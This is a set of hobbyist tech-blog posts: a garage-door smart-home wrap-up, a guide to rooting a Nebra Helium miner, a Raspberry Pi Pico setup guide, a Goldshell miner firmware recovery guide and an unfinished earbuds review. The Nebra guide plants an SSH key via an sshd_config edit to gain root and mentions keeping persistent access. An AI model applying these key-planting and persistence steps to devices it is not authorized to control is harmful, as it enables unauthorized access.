Of course if this device wasn’t supported by Home Assistant I wouldn’t have chose it. The smart home integration is actually really nice in this case and I found this to be an acceptable solution for my overall goal (which is having everything in my home be managed and controlled from Home Assistant). My advice for anyone doing smart home upgrades like this is to evaluate the options and see what makes the most sense for you. I’d imagine that for most people who have an existing Genie system that doesn’t have smart capabilities that this will be the cheapest and best option for them. It will also give you the best final result. Although this is still a proprietary solution it’s not subscription based which was an acceptable compromise for me for this system. If I have any trouble later on I’d likely replace the system with garage door head units that support the type of WiFi and smart home integration I want out of the box. Since this is only a 3 year old system though buying the upgrade made sense to me in this case! I have more smart home upgrade articles coming such as my Zooz Z-wave door/window sensors that came today. I will be using these to replace my Ring door and window sensors as I’ve almost completely eliminated my need to keep paying for a Ring subscription. Keep an eye out for that coming soon! Other Resources Don’t miss the rest of my Home Assistant related articles here I’ve also covered my smart lighting solution here using Kauf smart lights I’ve also added environmental sensing capabilities to my home here #### Getting Root / SSH Access to a Nebra Outdoor Helium Miner Nebra Outdoor Hotspot Opened I won’t lie. When I opened the Nebra Outdoor hotspot I was annoyed. Like many, many Helium hotspot owners I paid hundreds of dollars and waited many, many months past expected delivery for a Helium point. What did I get for my money and patience? I got a several generation outdated Raspberry Pi Compute Module 3 from 2015 that they no doubt paid literally a single digit number of dollars for, some connector boards and wireless chips. And of course it came too late to make any money in this last bull market. To be fair to Nebra that is a beautiful Pi setup. If only they had used a Compute Module 4 or even a 3+ but still, that is clean except for maybe the wireless-N dongle (wouldn’t have needed it if you used a better Pi). However, it really isn’t going to make me any money at this point and is more interesting as an outdoor enclosed Pi setup to me now. That means I needed to access it by rooting the device and getting SSH access and in this article I’ll show you exactly how I did it. Let’s begin now! Table of Contents Toggle Hardware UsedOpening the HotspotLocating the eMMC / SD card AdapterAccessing PartitionsSSH HostkeysGenerating KeyCreate authorized_keys2Connecting with authorized keyConclusionOther Resources Hardware Used Nebra Outdoor Hotspot The Nebra outdoor miner is a Helium miner designed to be installed permanently outdoors. It is powered by a Raspberry Pi Compute Module 3 and uses a eMMC chip for storage via a SD to eMMC adapter Links: Amazon.com* Opening the Hotspot It’s easy. It’s not meant to keep you out of it frankly as there is a add-on slot in the board for a 4G/5G accessory that Nebra will sell you and they expect and have no problem with you getting into it. I had to search through my drill bits for a while but I found one that fit the outdoor socket. It took very little force from the factory to move it and if I had known that I may have been able to get it with just my fingers as I assumed they’d be very tight and they were not at all. You can’t actually take the screws out by continuing to loosen them past a certain point. Once you’ve reached this point you’ll see some exposed springs where loosening it any more won’t do anything and it’s ready to open. Locating the eMMC / SD card Adapter The eMMC / SD card adapter is marked with a gold colored dot. It’s right here: Nebra – eMMC Location What is it exactly? It’s a eMMC storage chip on a board that actually connects to a SD card port. That means all you need to edit the files on it is a SD card reader (and an operating system that can read the partitions i.e. Linux). If you’re still not following it will make more sense if I show you the reverse of the card: Nebra eMMC to SD Card Adapter That should be looking a little bit more familiar. Yes, we can absolutely just use that in most SD card adapters and readers. My SanDisk reader will not read these eMMC adapters for some reason but my laptop’s built in one will and this generic adapter will for me to use with my PC: eMMC to SD Adapter in PC USB Port We now have access to the Nebra files! Accessing Partitions The first thing to mention is that if you are on Windows you will not be able to see all the partitions. That is going to be a problem because the ones you won’t see are the ones we need to edit. Use Linux or something like a Raspberry Pi that runs Linux and you will be able to read all of the partitions. I have 5 total partitions on my Nebra that were automatically mounted by Ubuntu when I plugged the SD card adapter in. Those were resin-boot resin-data resin-rootA resin-rootB resin-state SSH Hostkeys Let’s head to the “resin-state” partition and navigate to /home/root/.ssh This contains the authorized SSH keys that are allowed to connect to the Nebra as root. Presumably only engineers and potentially support personnel have access to this key. I tried changing this at first but it is overwritten every time it starts up. I had better luck by adding an additional keys file to the sshd_config file of authorized_keys2 which did not get overwritten. This part is a little tricky because the location of this file will change. On mine it looked like: resin-rootA/balena/aufs/diff/06c7e97079a1876b64aeadf7130626e81da7ecce08f865d0ec3e3c0d3383de28/etc/ssh/sshd_config_readonly The problem is that for you the long string in the middle will change from mine. The easiest way to find this is to use the “find” command on the resin-rootA partition like this: cd /media/james/resin-rootA find . -name sshd_config* Mine looked like this: james@jamesgigabyte-linux:/media/james/resin-rootA$ find . -name sshd_config* ./balena/aufs/diff/06c7e97079a1876b64aeadf7130626e81da7ecce08f865d0ec3e3c0d3383de28/etc/ssh/sshd_config_readonly ./balena/aufs/diff/06c7e97079a1876b64aeadf7130626e81da7ecce08f865d0ec3e3c0d3383de28/etc/ssh/sshd_config Once you have these two files we are going to edit them. We are looking for the following line to change: AuthorizedKeysFile .ssh/authorized_keys Change this line to: AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 Once you’ve made this change to both files we’re ready to generate our SSH key and put it on the device. Generating Key If you already have a SSH key to change it to then great, so did I but for those who don’t here is how to make one really quick. ssh-keygen -t rsa -f new Press enter twice when it asks for the password to leave it blank. The utility will generate the files new and new.pub. The contents of new.pub are what we will put into the authorized_keys2 file: └─$ cat new.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW5FRpHHeQgtEVgqitb8iv0SQjtK5mZA65I7FTY31QQcS8cSGYaBPESsYdMgRnM02bNQCSmVbmK0yXGMwbykD7k5MVC6RHhuPzrZneglK1077u97r2D9zGy91m9MpoZpnxVDrHgQOAjgiTPgi/R4zjXYBU99kWzSlzlb0fPqMJKgk2hzSNQGn4wY2CPEwRmtTeY1tO8r/YRBaqnxFqmbcZIDdgS22y7Hdi5HrnR4MENJOnLqKvD76VEzfAdc65wCwEnRC4rjIrym9OSvjf2ByqS9GkYDEO68RGy8QBVyMmOGkWsYIyuiY8LizENGeqBaRej0ooO3RJSGWDkAxf9DO10oQY7taAL3wlmU+8qgp0L3fdVKXnFAIQsALcoJJoWS0QTTCwn0s4+W6vB9tZi0bWfyhfKenJca9JFQ+rpXgMLlHtr7n+Sx38opJ3/uoScpzsQYGO1ICfgJFV+DEVRcV3jLwYECxnUk0iNS3H7AgNH4mOf8BtVqkLW4r1rMNvtBE= I had a james@hostname at the end of mine that I left out of this example. Basically the only parts I kept were the ssh-rsa at the beginning and then the very long string after that. I also left this out of authorized_keys2 (the next step). Create authorized_keys2 Now create the authorized_keys2 file. All this file will contain is the contents of new.pub. Now remove the SD card from your computer and put it back in the Nebra and power it back on. Connecting with authorized key Once the Nebra has started up we can connect with SSH using our authorized key like this: ssh -i new.pub -p 22222 root@192.168.X.X If everything went well you’ll be taken right into the miner like this: └─$ ssh -i new -p 22222 root@192.168.7.62The authenticity of host '[192.168.7.62]:22222 ([192.168.7.62]:22222)' can't be established.ED25519 key fingerprint is SHA256:UP7m/4ZADqJi/re353CB1KEzDXb1xnH53kLc0ki5r4c.This host key is known by the following other names/addresses:~/.ssh/known_hosts:45: [192.168.52.52]:22222Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[192.168.7.62]:22222' (ED25519) to the list of known hosts.root@b9e6def:~# uname -aLinux b9e6def 5.10.31-v8 #1 SMP PREEMPT Fri Apr 23 15:16:49 UTC 2021 aarch64 aarch64 aarch64 GNU/Linuxroot@b9e6def:~# ps -aPID TTY TIME CMD2389 pts/0 00:00:00 dbus-daemon2506 pts/0 00:00:05 gunicorn2716 pts/0 00:00:02 lora_pkt_fwd_sp2773 pts/0 00:00:04 python2797 pts/0 00:00:43 beam.smp4110 pts/1 00:00:00 ps You can see we’re running an aarch64 (64 bit ARM) distro on the Pi and we are logged in as root! You can now do whatever you want basically. If you want to maintain persistent access you’ll definitely want to keep in mind that as the container / image receives updates it will likely replace the sshd_config files we modified but now that you’re in with root access you can essentially change anything you want / set up additional ways to maintain access. Conclusion This was actually harder than I thought it would be. That’s probably mostly thanks to the Balena cloud platform which seems to be replacing changes I try to make locally with a copy of the cloud configuration so I had to get a little bit more creative to get into this device. I’m certain you could also just install Raspberry Pi OS on this SD to eMMC adapter as well if you wanted to completely wipe all of the Nebra software and use this box for something else completely. Be careful if you try reimaging the SD/eMMC as I have heard horror stories that your SD/eMMC card is configured with your Nebra’s keys and if they are lost you are basically screwed. I backed up my SD/eMMC card’s original image completely so I still have them anyways but you should also do the same thing and back up the entire thing (all partitions, preferably a raw whole image of the card). Don’t think that you can just reimage it and go back (without taking precautions) as it seems to be a one way street. Might I also suggest if you want to try running a different OS on the Nebra to just use a different SD card altogether and put that in the slot instead of the eMMC and leave the eMMC as-is for Nebra hotspot/Helium usage. This is what I suspect I will end up doing unless it starts looking like it may be worth using as a Helium miner (I already have my Bobcat running at this location) and then I can simply swap back to the Nebra eMMC and take my own SD card back out. Other Resources Definitely check out my cryptocurrency ASIC miner security and hacking audit article here #### Getting Started Guide – Raspberry Pi Pico Raspberry Pi Pico W This guide is meant to help get an environment configured to work with the Raspberry Pi Pico. It’s intended for Linux as even if you don’t use Linux as your main OS you presumably have a Pi that does run Linux and the Pi is a perfectly fine development environment for the Pico! If you aren’t familiar with the Pico make sure you check out my Raspberry Pi Pico W Explained article as this guide is intended for people who already have the board (but if you want to see how using it works go ahead and peak ahead!). Table of Contents Toggle Hardware UsedGetting Pico Utilities / SDKSoftware Development KitsMicroPython (Python 3)Official Pico SDK (C++)ConclusionOther Resources Hardware Used Raspberry Pi Pico W The Raspberry Pi Pico W is a very different type of Raspberry Pi that is meant to run an individual application rather than an entire operating system. It’s still quite powerful having a dual-core Arm Cortex-M0+ processor with 264kB of internal RAM! Links: Amazon.com* GeekPi Pico Complete Kit The GeekPi Pico starter kit includes a Pico (non-wireless) and a whole bunch of accessories to use with the Pico including a breadboard, a micro-servo motor, a I2C 1602 LCD Display Module and more. Good option for people looking for a kit that comes with everything they need to actually use the Pico. Links: Amazon.com* Getting Pico Utilities / SDK If you are using a Raspberry Pi for development you can use the quick setup script like this: wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh chmod +x pico_setup.sh ./pico_setup.sh Otherwise let’s start by building the main utilities to control and query the Pico. First we need some dependencies: sudo apt install build-essential pkg-config libusb-1.0-0-dev git cmake gcc-arm-none-eabi libnewlib-arm-none-eabi First we need the official Pico SDK. We can clone and build it from the official repository like this: git clone https://github.com/raspberrypi/pico-sdk.git cd pico-sdk git submodule update --init Now let’s clone the official Picotool repository and build the tool: cd .. git clone https://github.com/raspberrypi/picotool.git cd picotool mkdir build cd build cmake -DPICO_SDK_PATH=../../pico-sdk .. make If the build succeeded we’re ready to test the tool! If you do a ls command you should see these files: james@jamesgigabyte-linux:~/picotool/build$ ls boot_picoboot_headers CMakeFiles pico_binary_info picotool boot_uf2_headers cmake_install.cmake picoboot_connection pico_usb_reset_interface CMakeCache.txt Makefile pico_platform We can now run our picotool build with: ./picotool The options at time of writing looked like this: james@jamesgigabyte-linux:~/picotool/build$ ./picotool PICOTOOL: Tool for interacting with a RP2040 device in BOOTSEL mode, or with a RP2040 binary SYNOPSYS: picotool info [-b] [-p] [-d] [-l] [-a] [--bus <bus>] [--address <addr>] [-f] [-F] picotool info [-b] [-p] [-d] [-l] [-a] <filename> [-t <type>] picotool load [-n] [-N] [-v] [-x] <filename> [-t <type>] [-o <offset>] [--bus <bus>] [--address <addr>] [-f] [-F] picotool save [-p] [--bus <bus>] [--address <addr>] [-f] [-F] <filename> [-t <type>] picotool save -a [--bus <bus>] [--address <addr>] [-f] [-F] <filename> [-t <type>] picotool save -r <from> <to> [--bus <bus>] [--address <addr>] [-f] [-F] <filename> [-t <type>] picotool verify [--bus <bus>] [--address <addr>] [-f] [-F] <filename> [-t <type>] [-r <from> <to>] [-o <offset>] picotool reboot [-a] [-u] [--bus <bus>] [--address <addr>] [-f] [-F] picotool version [-s] picotool help [<cmd>] COMMANDS: info Display information from the target device(s) or file. Without any arguments, this will display basic information for all connected RP2040 devices in BOOTSEL mode load Load the program / memory range stored in a file onto the device. save Save the program / memory stored in flash on the device to a file. verify Check that the device contents match those in the file. reboot Reboot the device version Display picotool version help Show general help or help for a specific command Use "picotool help <cmd>" for more info You may permanently install this tool system-wide with: sudo make install and at that point you can use the tool as you would any other utility by just typing “picotool” on the command line. For a final test let’s query the Pico board and make sure we can communicate with it using the command “picotool info”: james@jamesgigabyte-linux:~/picotool/build$ picotool info No accessible RP2040 devices in BOOTSEL mode were found. but: Device at bus 7, address 124 appears to be a RP2040 MicroPython device not in BOOTSEL mode. This message is telling us that I did not plug in the Pico with the “BOOTSEL” button pressed but that it sees it and it’s currently running MicroPython. It will give you the status of your device at any time when you use this command! Software Development Kits I’ll split this into two sections that target Python and C++ respectively. If you know you don’t want to work with one of these languages on the Pico then you can skip that section! MicroPython (Python 3) This is the fastest way to get started with the Pico and it’s using Python! To get started first download the latest release for your specific Pico (W vs non-W) from the following pages: MicroPython – Pico – Latest Build MicroPython – Pico W – Latest Build Now it’s time to connect the Pico. Press and hold the white “BOOTSEL” button on the board and connect the microUSB cable from the Pico to your computer / device. Shortly after connecting the Pico you will see a new drive pop up on your computer called “RPI-RP2”. Mine looked like this: Pico W – Mounted in Ubuntu after holding BOOTSEL You can see a couple of files here already. Now go ahead and drag/copy the MicroPython file we downloaded into right into the base of the folder. My file explorer window paused for a good 10 seconds or so while this file flashed onto the device. It will then unmount itself automatically. Believe it or not you are already running MicroPython on the Pico now! All we need to do is connect with a serial console to interact with it. First make sure you have minicom installed with: sudo apt install minicom Before we continue you need to find your USB device name. The easiest way to find this is using ls like this: ls /dev/ttyACM* james@jamesgigabyte-linux:~$ ls /dev/ttyACM* /dev/ttyACM0 /dev/ttyACM1 /dev/ttyACM2 It’s most likely to be the highest number as that is the most recently connected. On my system it’s /dev/ttyACM2. Now we can connect to the Pi (change the 2 at the end to match the device id # on your system) with: sudo minicom -o -D /dev/ttyACM2 Assuming it was the right device id # (not a big deal if it wasn’t, just try again) it will look like this: Minicom connection to Pico W Press the “Enter” key and you should see the three >>> on your screen. That is actually the Python command line! You can type help() and press enter to verify it’s working: MicroPython help() command Now for one last trick. At any time you can press the keys Ctrl+D. This will initiate a soft reboot of the Pico. You’ll see the following on your screen: MPY: soft reboot MicroPython v1.19.1 on 2022-07-26; Raspberry Pi Pico W with RP2040 Type "help()" for more information. You’ve now just performed a soft reboot of the Pico! Official Pico SDK (C++) The best way to get started and make sure your environment is configured correctly is to test using the pico-examples repository. Not only does this have our obligatory “Hello World” program but it has a whole bunch of much more useful examples in there that will let you see and experiment with some more practical examples. We are going to build the serial output version of “Hello World”. If you did not try the Python section first then let’s install minicom now so we can connect over serial: sudo apt install minicom Let’s clone the pico-examples repository now: git clone https://github.com/raspberrypi/pico-examples cd pico-examples mkdir build cd build cmake -DPICO_SDK_PATH=../../pico-sdk -DPICO_BOARD=pico_w .. make -j$(nproc) This will build all of the examples at once! Notice that I specified the pico_w board as the PICO_BOARD variable so if you are using a regular Pico you can drop the _w from the end. Let’s head into our build directory and see what files were produced: cd hello_world/serial ls Mine looked like this: james@jamesgigabyte-linux:~/pico-examples/build/hello_world/serial$ ls CMakeFiles hello_serial.bin hello_serial.elf hello_serial.hex Makefile cmake_install.cmake hello_serial.dis hello_serial.elf.map hello_serial.uf2 The file we are interested in is the hello_serial.uf2. This is the file we are going to put on the Pico! Now it’s time to connect the Pico. Press and hold the white “BOOTSEL” button on the board and connect the microUSB cable from the Pico to your computer / device. Shortly after connecting the Pico you will see a new drive pop up on your computer called “RPI-RP2”. Mine looked like this: Pico W – Mounted in Ubuntu after holding BOOTSEL You can see a couple of files here already. Now go ahead and drag/copy the hello_serial2.uf2 file we downloaded into right into the base of the folder. My file explorer window paused for a second or two while this file flashed onto the device. It will then unmount itself automatically. Believe it or not (you will believe it if you did the previous MicroPython section) the application is now already running! We just need to connect with it using the minicom application we installed earlier. Before we continue you need to find your USB device name. The easiest way to find this is using ls like this: ls /dev/ttyACM* james@jamesgigabyte-linux:~$ ls /dev/ttyACM* /dev/ttyACM0 /dev/ttyACM1 /dev/ttyACM2 It’s most likely to be the highest number as that is the most recently connected. On my system it’s /dev/ttyACM2. Now we can connect to the Pi (change the 2 at the end to match the device id # on your system) with: sudo minicom -o -D /dev/ttyACM2 Once the minicom screens is up you should start immediately seeing: Pico SDK – Hello World Provided you picked the right ACM port then you’ve done it! Running the other examples is just as easy and you’ve already built them. It’s time to start diving into code! Conclusion It’s surprisingly easy and fun to work with these boards. I’m really enjoying it yet and I haven’t even started playing with the wireless yet (stay tuned for articles on that). It’s literally the push of a button to put it into mass storage mode and then you simply copy or drag and drop your application. That’s it! With the Python support it’s even great for beginners / people learning. I can’t imagine a better microcontroller board to learn on than this one. Other Resources If you are working with the Compute Module 4 you can see my full setup guide here or if you are interested in NVMe storage on the CM4 see my NVMe CM4 guide here The official Raspberry Pi documentation to get started with MicroPython is here The official Raspberry Pi documentation to get started with the C++ Pico SDK is here #### Goldshell BOX ASIC Miner Firmware Recovery Guide Goldshell Hub – Introduced in firmware 2.2.0 Recently Goldshell released the 2.2.0 update which includes the new “Goldshell Hub” (featured above) which is basically a cloud control center for your miners. I was able to upgrade 23 miners successfully but I had one Mini DOGE and one ST-BOX fail during the upgrade. After a substantial Google journey and finding some very helpful posts on reddit I was able to recover both of them without waiting for Goldshell’s response on the situation. I will cover what I used to do so and where to find them in the guide but it is at your own risk and if you aren’t outside of your warranty support period you should almost certainly contact Goldshell instead. Even then it might still be worth a try because it wouldn’t surprise me if they hand out these images like Halloween candy even if you’re out of warranty. With that caveat/warning given, I have 25 of these miners and only 1-2 were bought directly from Goldshell in the first place so I was not worried about losing my warranty or support period from them but you should be careful here and only proceed if you understand this. Let’s begin! Table of Contents Toggle Diagnostic LightsRecovery ProcessHardware RequirementsSoftware RequirementsRecovery ImageAdditional Documentation (Official Goldshell video and tutorial .docx):Special Note on using Mini DOGE firmware on other models (temporarily to recover)Flashing the FirmwareFurther TroubleshootingFlash not completingReseat your SD cardConclusionOther Resources Diagnostic Lights After I initially tried to upgrade to 2.2.0 using the Goldshell web interface 23 / 25 miners upgraded fine. One Mini DOGE however started blinking both the red and blue light very briefly every couple of seconds. It had network link lights for a few seconds upon startup and then it would go dark other than the 2 blinking indicator lights. The Starcoin miner on the other hand permanently illuminated both the red and blue lights and stayed stuck on. It also had network link light activity (that never stopped) but it never acquired an IP address. If you are seeing one of these two conditions it’s likely your firmware is stuck in a broken state (especially if this happened during/after a firmware upgrade like mine did). Recovery Process The process to recover from an event like this will probably not be surprising if you have owned other ASIC miners. We need to flash the firmware using a SD card flashed with a recovery image. Unfortunately Goldshell does not publicly post these images on their GitHub page like they do with the regular firmware. They certainly should though as they are incredibly useful and it only took a few minutes to fix the miners once I had all the right pieces.                          Hardware Requirements The Goldshell box miners have an empty SD card slot on the back of them. You need to have a blank SD card to write the recovery image to. Here’s a recommendation I frequently give for Raspberry Pis if you don’t already have one: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Software Requirements First grab Etcher if you don’t already have it (we need this to write the image to a SD card). Next make sure you have 7zip as we will be decompressing a couple of archive types that the native Windows tools won’t work on. If you have WinRar or an additional compression tool already beyond the native OS tools you should be fine. Recovery Image Next grab the Mini DOGE recovery image from one of the shared links that we have: Goldshell MiniDOGE 2.1.1 Goldshell MiniDOGE 2.1.1 #2 (Alt) Goldshell HSBox 2.2.3 (thanks smashthestate from reddit) *UPDATE*: Goldshell responded to my ticket with the Mini DOGE 2.1.2 recovery image and the STC Box 2.1.6 recovery image. They didn’t tell me not to share them or seem at all concerned about it (maybe not that many people ask for these and that’s why they aren’t posted) and it may save someone else’s bacon: Goldshell MiniDOGE 2.1.2 Goldshell STCBox 2.1.6 Additional Documentation (Official Goldshell video and tutorial .docx): Official Goldshell Flashing Tutorial Official Goldshell Burn Video Special Note on using Mini DOGE firmware on other models (temporarily to recover) But wait, I don’t have a Mini DOGE, you might say. Well fortunately the Mini DOGE version seems to at least boot up enough to flash the real STC Box firmware. I doubt anyone other than Goldshell will have the link to the STC Box specific firmware as it was a limited run of only a few thousand miners. It doesn’t really matter in this case as all we are going to use it to do is get the box to boot up again so we can flash the correct firmware on it. Ideally we would have the correct firmware. If this part scares you then for sure contact Goldshell for the right link for your miner. I did not try anything else as I haven’t had any other types fail yet than the STC-Box and the Mini DOGE. It’s possible that it might not work on some or even cause some sort of problem (unlikely in my opinion unless you try to start configuring it or mining with it but it’s a risk) on other versions. I honestly wasn’t sure if I would brick it or make it worse but my educated guess as someone who does a lot of work on embedded systems my guess was all that would happen is that the image wouldn’t boot (which is exactly where I started). What happened for me is that it booted up and actually did think it was a Mini DOGE. I did not try to do anything else and you shouldn’t either. It’s the wrong firmware for the miner. Literally nothing good can come from trying to do anything with it in this state other than flash it with the right firmware as quickly as possible. Do not try to add a pool, don’t change the default password, do not do anything else basically. Sign into the miner with the default “123456789” password and upload the correct firmware for your miner to the Box. Bobcat 300 Helium Miner* Flashing the Firmware Now that we have all the pieces let’s actually flash the firmware. Make sure you have extracted “Please unzip this file-MiniDOGE-2.1.1(1).tgz” twice. The first time you will get a .tar file. Extract the contents of that .tar file and you should end up with: burn-Goldshell-MiniDOGE_MCB_V5_4-2.1.1.img This is the file we are going to select with Etcher (note that it starts with burn- to tell us this is the right image to “burn” to the SD card). Now insert your micro SD card into your computer and Etcher will write the image to the card. This is typically pretty fast. Now disconnect power from the Goldshell miner if it happens to still be turned on. Insert the SD card into the SD card slot. Be gentle. My miners had SD slots that had a spring-loaded SD mechanism that “clicks” into place. That means that the SD card will not go all the way into the slot. To remove the SD card you actually push in again and you will feel it release the spring and the SD card will be pushed out most of the way for you (safely). I have seen this confusing some people. If you happen to put the SD card in and the SD card reader’s “switch” is already locked in the back position just keep pushing gently and you should feel it unclick. Once this is done you can push it all the way in and you should feel it “lock” into place correctly until you push once again to release it when you’re done. The process does not take long. Maybe a minute or less. After 20-30 seconds you will see the light activity (usually the red and blue one together or whatever) turn to just a single blue light that periodically flashes. This means it’s done. Disconnect the power and remove the SD card. Now power up the miner again and with any luck it should boot up into the Mini DOGE firmware. Now flash the correct firmware for your miner immediately (as I’ve said before) without doing anything else and it will finally boot up and be ready for configuration! Remember to check https://find.goldshell.com as the IP settings for the miner will have been wiped so the IP address will likely have changed on your network. Further Troubleshooting Flash not completing During the update to 2.2.1 one of my wife’s Mini DOGE units failed. I tried flashing it with the recovery image and it failed several times. I was so confused because the lights were blinking correctly but the flash would never finish. If I took out the SD card in the middle of the never-finishing flash the lights changed to indicate that the flash was interrupted and it wouldn’t boot correctly afterward no matter how long I had waited (although it did behave differently with both lights stuck on and network link activity but no IP). The problem turned out to be in the most unexpected of places. It was the previous partitions on my SD card. You might think that Etcher actually clears all of these out and completely formats the disk. You would be wrong and I’ve seen this before with Raspberry Pi stuff (it’s why I recommend using the Pi Imager tool for Pis and not Etcher). The fix is to run the SD card association’s official tool to completely (and really) blank the SD card. The tool is officially available free of charge (courtesy of the SD Card association which is basically a cartel of SD card manufacturers that manage the standards but the software is great): Official SD Card Association Formatter Tool Run this utility on your SD card in “Quick Format” mode (enough for mine but some weird previous partition types like zfs might need a full overwrite) or you can do “Overwrite format” to do a full drive overwrite (zero’ing out the free space) if you want to nuke it (it’s the only way to be sure). This is even necessary on Pis sometimes when the Pi imager can’t even fix them. In those cases the SD card association’s tool is the only thing that seems to help (previous zfs partitioning is an example we’ve seen here on the site). Now write the image again on the now truly blanked SD card using Etcher and with any luck it will finish the entire process within about 15-20 seconds that time as it is supposed to take. Reseat your SD card It is very easy to unseat or not properly seat the SD card in these slots. One tip with these is to let the SD card slot do the work for you. Push the card in and when you start feeling resistance just let it gently guide the SD card into place and it will click. Don’t fiddle with it at this point as if you try to start pulling it slightly out it will let you do that and it will be unseated (as well as leave the SD card slot in the back of the port, it will not come out as you pull out the card). If you want to remove the card (and you should if you’re reseating it) then actually push it further IN and the slot will push the card back out for you. If you pull the card out the SD slot will remain locked in place in the back. If this is the case just push the SD card in manually all the way in until it hits the back of the SD card slot and you should feel it push and release and it will spit the card out about 50% and be back in the correct position this time for you to insert it again normally. There’s nothing “locking” it into place when it clicks (it’s the slot itself clicking, not actually your SD card) which is why touching it is generally bad once the slot is in it’s final position. Even something bumping or brushing up against the slot is enough to unseat the card and lose pin contact with a design like these SD card slots have (not meant to be used except for recovery so it’s understandable). You may need to reseat it a couple of times if it’s an older SD card with a lot of wear. These tend to not make as good of contact with the pins. Reseating it and trying to keep the edges lined up as well as possible will often get these going. Conclusion I was back up and running within 24 hours and I would have been back up and running within 5 minutes if I had these files. I hope Goldshell releases them publicly as it’s not ideal to not have the exact right firmware and is why it is a little frustrating that Goldshell hasn’t publicly posted these recovery images (like they have with the regular firmware updates in their GitHub repository). Maybe I’m spoiled as these are generally available from other competitors without contacting support. Hopefully they will release recovery images on their GitHub in the future and then I can recommend you download the exact right model. Try to get as close as possible if you can but in my experience it worked on the STC Box which seems more different from the Mini DOGE than the other ones (it only uses 60W and mines a Cryptonight-R variant). If any of you have additional links/tokens for other miners from Goldshell and want to share them in the comments I will add them in the links section. Definitely let me know if you successfully try it on some of the other models I haven’t as well! These links weren’t easy to track down for sure and they don’t seem to expire. Let’s see if we can collect (catch?) them all! UPDATE: You will need to contact Goldshell for any more up to date images. I’m no longer supporting these as I was never able to succeed in getting the mining community to share these thus you guys are on your own. Hopefully the links / guide are able to help some of you as well! Other Resources If you are lucky your miner may just have lost it’s IP address. The diagnostic lights should help to diagnose this condition. A great tool to check for this is Goldshell’s official “Yotta BC” which I wrote a guide for here: Bulk Management of Goldshell ASICs using YottaBC For the best place to mine and exchange your altcoins check out my Best Altcoin Mining Pools and Exchanges article To understand the current situation with Ethereum mining and when it is ending see my Why GPU / Ethereum Mining Is Toast – Stop Buying GPUs article #### Google Pixel Buds Pro 2 Review – A Worthy Upgrade Google Pixel Buds Pro 2 Review I’ve been using the Google Pixel Buds Pro 2* for a little while now after spending a long time with both the original Pixel Buds and the first Pixel Buds Pro series. Since I already reviewed the original Pro series, I wanted to specifically talk about what has improved with the second generation and whether it feels like a meaningful upgrade. The short version is yes. It absolutely does. Google didn’t completely reinvent the wheel here, which is probably a good thing because the first Pixel Buds Pro were already excellent. Instead, they focused on improving the small everyday details that actually matter when you use headphones constantly: comfort, charging speed, battery life, and little quality-of-life features that make the experience feel polished. Let’s get started! Table of Contents Toggle Hardware ReviewedBuild QualityWear ComfortBattery LifeAudio QualityAdditional Noteworthy FeaturesPros / ConsProsConsConclusion Hardware Reviewed Google Pixel Buds Pro 2* Build Quality The charging case still follows the same familiar Pixel Buds design language. It’s compact, smooth, and feels solid in the hand. Google has done a great job keeping consistency across the Pixel Buds lineup and I still think their cases are some of the nicest looking earbud cases available. One small detail I immediately noticed (and honestly appreciated way more than I expected) is the charging chime when you place the earbuds into the case. Here’s a quick video I took of it: When you plug the headphones in to charge, they give a nice little chime to confirm they’re seated correctly. What makes this especially clever is that each headphone plays a slightly different note. After using them for a bit, you can instantly tell whether you just docked the left or right earbud without even looking. That sounds like a tiny feature, but it’s one of those little touches that makes the product feel thoughtfully designed instead of just functional. It also helps avoid that annoying situation where you think an earbud is charging and then later discover it never seated correctly. The earbuds themselves feel very solid and well built. Like any wireless earbuds, the battery will eventually wear out long before the physical hardware does, but the construction feels premium and durable enough that I expect them to last several years without issue. Wear Comfort This is probably the biggest improvement for me. Included in the box are 3 additional different eartip size options (with large being attached out of the box): Google Pixel Buds Pro 2 – What’s in the box This lets you dial in the right size for your ears getting a perfect fit and comfortable seal. Both my wife and I were comfortable with the “large” option that comes attached but if you are concerned that your ears might be a non-standard fit the different sizes should have you more than covered. The original Pixel Buds and even the first Pro series were already fairly comfortable, but the Pixel Buds Pro 2 are noticeably better. They sit more naturally in the ear and feel lighter during long listening sessions. In fact, they’re comfortable enough that I sometimes accidentally fall asleep wearing them. That probably tells you more than any technical explanation could. With older earbuds, especially the original Pixel Buds designs, there was always some awareness that they were there. After a couple of hours you would feel pressure or need to adjust them slightly. With the Pixel Buds Pro 2, that feeling is mostly gone. They rest in the ear much more naturally and I can wear them for long periods without really thinking about them. That makes a huge difference if you use them for travel, watching videos in bed, long work sessions, or flights where you may have them in for several hours at a time. Battery Life Google Pixel Buds Pro 2 (Sharpee for scale) Battery life is noticeably better than the original Pro series and this is one of the biggest practical upgrades. The first Pro model already had good battery life, but the Pro 2 feels much better in day-to-day use because the charging is so fast. This is the kind of improvement you notice immediately. If I forget to charge one of my earbuds (which absolutely happens) I can just drop it back into the charging case for a few minutes and it will come back with more than enough battery to watch an hour or two of video. That’s excellent. Instead of realizing one earbud is dead and having your plans ruined, it becomes a quick “give me five minutes” problem. That’s a much better experience. Because the batteries inside earbuds are tiny, fast charging matters almost more than total battery life. Google seems to understand that and the charging speed here is genuinely impressive. The standby life also feels stronger overall and I’m running into far fewer situations where I open the case and discover one side unexpectedly drained. For anyone upgrading from the original Pixel Buds or even the first Pro series, this alone is a major quality-of-life improvement. Audio Quality The sound quality remains excellent. Like the first Pro series, these are clearly tuned for everyday consumers rather than extreme audiophiles chasing hyper-specific sound signatures, and that’s perfectly fine. They sound full, balanced, and clean. Nothing feels cheap or tinny. Voices are clear, bass has enough presence without becoming muddy, and overall they sound great for music, podcasts, videos, and calls. Combined with the better seal and improved comfort, they create a really nice listening experience that works for basically everything most people will use them for. If you’re a studio engineer looking for perfectly flat reference headphones, these obviously are not that. But for normal people who want very good wireless earbuds that sound great and are easy to live with every day, they absolutely deliver. Additional Noteworthy Features The improved charging 